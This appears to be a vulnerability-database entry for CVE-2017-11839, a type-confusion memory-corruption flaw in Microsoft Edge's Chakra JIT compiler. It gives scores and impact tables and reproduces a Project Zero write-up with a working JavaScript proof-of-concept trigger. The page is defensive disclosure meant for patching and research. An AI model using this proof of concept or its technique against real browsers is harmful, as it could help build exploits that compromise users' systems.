CVE-2017-11839

high
Published 2017-11-15 ยท Modified 2026-05-13
CVSS v3
7.5
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.5

Description

Microsoft Edge in Windows 10 Gold, 1511, 1607, 1703, 1709, Windows Server 2016 and Windows Server, version 1709 allows an attacker to take control of an affected system, due to how the scripting engine handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11836, CVE-2017-11837, CVE-2017-11838, CVE-2017-11840, CVE-2017-11841, CVE-2017-11843, CVE-2017-11846, CVE-2017-11858, CVE-2017-11859, CVE-2017-11861, CVE-2017-11862, CVE-2017-11866, CVE-2017-11869, CVE-2017-11870, CVE-2017-11871, and CVE-2017-11873.

Predictions

Exploit likelihood
83%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43180 dos windows verified text ยท 4 KB
Google Security Research ยท 2017-11-27

Microsoft Edge Chakra JIT - 'BailOutOnTaggedValue' Bailouts Type Confusion

text exploit Source: Exploit-DB
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1364

1.
In the Chakra's JIT compilation process, it stores variables' type information by basic block.

function opt(b) {
    let o;
    if (b) {
        // BASIC BLOCK (a)
        o = {};
    } else {
        // BASIC BLOCK (b)
        o = 1.1;
    }
    // BASIC BLOCK (c)
    return o;
}

For example, let's think the above code gets optimized. At the basic block (a), the type of "o" is always "Object". At the basic block (b), the type of "o" is always "CanBeTaggedValue_Float". At the basic block (c), it combines the two types, and marks the type of "o" as "CanBeTaggedValue_Mixed"(Object + CanBeTaggedValue_Float).

Explanation of TaggedValue in Chakra: http://abchatra.github.io/TaggedFloat/

But unlike variables, the type information of constants like numbers, strings is managed globally. This means, once a constant is marked as some type in a certain block. All blocks will treat it as that type regardless of the control flow.

2.
Chakra uses a BailOutOnTaggedValue bailout to ensure a variable's type is "Object". The bailouts can be generated when inlining JavaScript functions.

function opt(inlinee) {
    inlinee();
}

Generated IR code for the above code:
                       StatementBoundary  #0                                  #0000 
    s6.var          =  StartCall      1 (0x1).i32                             #0000 
                       BailOnNotObject  s3[LikelyCanBeTaggedValue_Object].var #0006  Bailout: #0006 (BailOutOnInlineFunction)
    s10.var         =  Ld_A           [s3[LikelyObject].var+8].u64            #0006 
                       BailOnNotEqual  [s10.var!].i32, 26 (0x1A).i32          #      Bailout: #0006 (BailOutOnInlineFunction)
                       BailOnNotEqual  [s3[LikelyObject].var+40].u64, 0xXXXXXXXX (FunctionBody [Anonymous function (#1.3), #4]).u64 # Bailout: #0006 (BailOutOnInlineFunction)

As you can see after the "BailOnNotObject" opcode which generates "BailOutOnTaggedValue" bailouts, the type of "s3" becomes "LikelyObject" from "LikelyCanBeTaggedValue_Object". This means there's no case where "s3" is not an object after the opcode which ensures its type, so it's safe to use it as an object without checks after the opcode.

But the problem is that this can be applied to constants.

Here's the PoC.
*/

function opt2(inlinee, v) {
    if (v > 0) {
        inlinee();
    } else {
        inlinee.x = 1.1;
    }
}

function opt() {
    opt2(2.3023e-320, null);
}

function main() {
    opt2(() => {}, 1);  // feed a function to the profiler

    for (let i = 0; i < 10000; i++) {
        opt();
    }
}

main();

/*
We can simply think it as follows:
(NOT PRECISE just for understanding)

Just after inlining:
    // Basic block (a)
    s2 = 2.30235E-320;  // constant
    inlinee = s2;  // variable
    if (null > 0) {
        // Basic block (b)
        BailOnNotObject(inlinee);
        inlinee();
    } else {
        // Basic block (c)
        inlinee.x = 1.1;
    }

    Type map:
        Constants:
            s2: CanBeTaggedValue_Float
        Basic block (a):
            inlinee: CanBeTaggedValue_Float
        Basic block (b):
            inlinee: CanBeTaggedValue_Float
        Basic block (c):
            inlinee: CanBeTaggedValue_Float

In the Global Optimization Phase:
    // Basic block (a)
    s2 = 2.30235E-320;
    if (null > 0) {
        // Basic block (b)
        BailOnNotObject(s2);
        s2();
    } else {
        // Basic block (c)
        s2.x = 1.1;
    }

    Type map:
        Constants:
            s2: CanBeTaggedValue_Float -> Float
        Basic block (a):
        Basic block (b):
        Basic block (c):

At the basic block (b), the BailOnNotObject opcode changes the type of "s2" to "Float". And since "s2" is a constant, that change affects the basic block (c). So it leads to type confusion at the basic block (c).

Note: Just "Float" is considered an Object type.
*/

OS impact

OSVersionStatusFixed in
windows windowsnot-affected
windows windows1511not-affected
windows windows1607not-affected
windows windows1703not-affected
windows windows1709not-affected

Application impact

VendorProductVersionsFixed
windows microsoftedge

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.